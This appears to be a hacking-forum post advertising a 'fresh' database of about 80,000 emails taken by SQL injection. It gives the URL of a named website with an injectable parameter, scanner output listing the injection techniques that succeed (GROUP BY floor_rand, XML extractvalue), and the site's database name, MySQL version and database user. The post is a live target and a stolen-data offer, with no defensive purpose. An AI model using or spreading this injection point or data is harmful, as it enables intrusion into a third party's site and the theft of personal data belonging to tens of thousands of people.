Fresh DB - SQLi - 80k Email
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 34px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">http://agrocentro.net/index.php?sec=contactenos'</pre>
Found character insertion [-1'] in place of [contactenos'] to detect error on ORDER BY
Add manually the character * like [contactenos'*] to force the value [contactenos']
Vulnerable to GROUPBY::floor_rand using 60 characters
Vulnerable to XML::extractvalue using 27 characters
Database [agro_db] on MySQL [5.1.73-community] for user [agro_user2@localhost]
https://txgate.io/images/smilies/clapping.gif